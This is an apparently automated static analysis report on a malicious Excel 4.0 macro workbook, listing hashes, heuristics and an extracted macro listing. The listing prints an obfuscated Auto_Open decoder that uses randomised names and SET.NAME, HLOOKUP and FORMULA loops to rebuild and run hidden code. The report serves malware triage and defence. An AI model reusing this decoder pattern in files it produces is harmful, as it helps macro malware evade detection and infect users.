Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d51c768f6179db32…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:38:00 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: 1036c5a0efbd7ece70914280f7bd6c82 SHA-1: 80d3ff47d925dfb982238237b936167047593963 SHA-256: d51c768f6179db3287b31b9266e3ae9c324d332409246ab347d0ebc618d27bad
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6559 bytes
SHA-256: 1a04c365370c1787e6155034475ef2b5ea0164c3c7f1c39308a0913e3a358125
Detection
ClamAV: No threats found
Obfuscation or payload: likely
21 of 41 identifiers look randomly generated (e.g. 'SekTaAqZNBF') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  WvpvhzbTG
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I132 
' 0018     23 LABEL : Cell Value, String Constant - CFBBYKzG len=0 
' 0018     24 LABEL : Cell Value, String Constant - CFYbLUofN len=0 
' 0018     23 LABEL : Cell Value, String Constant - DkuUTZNt len=0 
' 0018     23 LABEL : Cell Value, String Constant - FvqbGwLL len=0 
' 0018     23 LABEL : Cell Value, String Constant - GQIMqepf len=0 
' 0018     22 LABEL : Cell Value, String Constant - hgYfyqr len=0 
' 0018     22 LABEL : Cell Value, String Constant - JwPbrLd len=0 
' 0018     22 LABEL : Cell Value, String Constant - jWPJcPW len=0 
' 0018     21 LABEL : Cell Value, String Constant - KWSzdB len=0 
' 0018     26 LABEL : Cell Value, String Constant - lJYXEFlAVKb len=0 
' 0018     26 LABEL : Cell Value, String Constant - mYwwdHfjMeZ len=0 
' 0018     26 LABEL : Cell Value, String Constant - PaZdPkHunNZ len=0 
' 0018     21 LABEL : Cell Value, String Constant - PlUxls len=0 
' 0018     24 LABEL : Cell Value, String Constant - PrjGnfITk len=0 
' 0018     26 LABEL : Cell Value, String Constant - SekTaAqZNBF len=0 
' 0018     22 LABEL : Cell Value, String Constant - SlTPdTY len=0 
' 0018     22 LABEL : Cell Value, String Constant - XKsGrUB len=0 
' 0018     24 LABEL : Cell Value, String Constant - xUbplKXyu len=0 
' 0018     24 LABEL : Cell Value, String Constant - XyplWcfWg len=0 
' 0018     24 LABEL : Cell Value, String Constant - YwmEafAPK len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  WvpvhzbTG,I41,"SET.NAME("CFBBYKzG",VALUE("0"))",""
'  WvpvhzbTG,I45,"SET.NAME("SlTPdTY",CFBBYKzG)",""
'  WvpvhzbTG,I47,"SET.NAME("xUbplKXyu",CFBBYKzG)",""
'  WvpvhzbTG,I52,"SET.NAME("FvqbGwLL",COUNTA(XyplWcfWg))",""
'  WvpvhzbTG,I56,"SET.NAME("DkuUTZNt",COUNTA(PlUxls))",""
'  WvpvhzbTG,I59,[],""
'  WvpvhzbTG,I61,"SET.NAME("SekTaAqZNBF","")",""
'  WvpvhzbTG,I64,"SlTPdTY",""
'  WvpvhzbTG,I69,"SET.NAME("JwPbrLd",HLOOKUP("*",XyplWcfWg,SlTPdTY,FALSE))",""
'  WvpvhzbTG,I73,"hgYfyqr",""
'  WvpvhzbTG,I78,"SET.NAME("PrjGnfITk",CFBBYKzG)",""
'  WvpvhzbTG,I83,[],""
'  WvpvhzbTG,I87,"PrjGnfITk",""
'  WvpvhzbTG,I91,"YwmEafAPK",""
'  WvpvhzbTG,I93,"PaZdPkHunNZ",""
'  WvpvhzbTG,I95,"XKsGrUB",""
'  WvpvhzbTG,I99,"SET.NAME("lJYXEFlAVKb",VALUE(HLOOKUP("*",PlUxls,XKsGrUB,FALSE)))",""
'  WvpvhzbTG,I103,"mYwwdHfjMeZ",""
'  WvpvhzbTG,I108,"SekTaAqZNBF",""
'  WvpvhzbTG,I110,"xUbplKXyu",""
'  WvpvhzbTG,I113,NEXT(),""
'  WvpvhzbTG,I115,"CFYbLUofN",""
'  WvpvhzbTG,I120,"SET.NAME("f",INT(T(FORMULA(T(SekTaAqZNBF)&"",""&T(CFYbLUofN)))))",""
'  WvpvhzbTG,I123,"jWPJcPW",""
'  WvpvhzbTG,I127,NEXT(),""
'  WvpvhzbTG,I129,RETURN(),""
'  WvpvhzbTG,I154,"SET.NAME("GQIMqepf",I41)",""
'  WvpvhzbTG,I156,"XyplWcfWg",""
'  WvpvhzbTG,I158,"SET.NAME("PlUxls",R82C12)",""
'  WvpvhzbTG,I163,"SET.NAME("jWPJcPW",171)",""
'  WvpvhzbTG,I166,"SET.NAME("KWSzdB",9)",""
'  WvpvhzbTG,I170,GQIMqepf(),""
'  WvpvhzbTG,I171,HALT(),""

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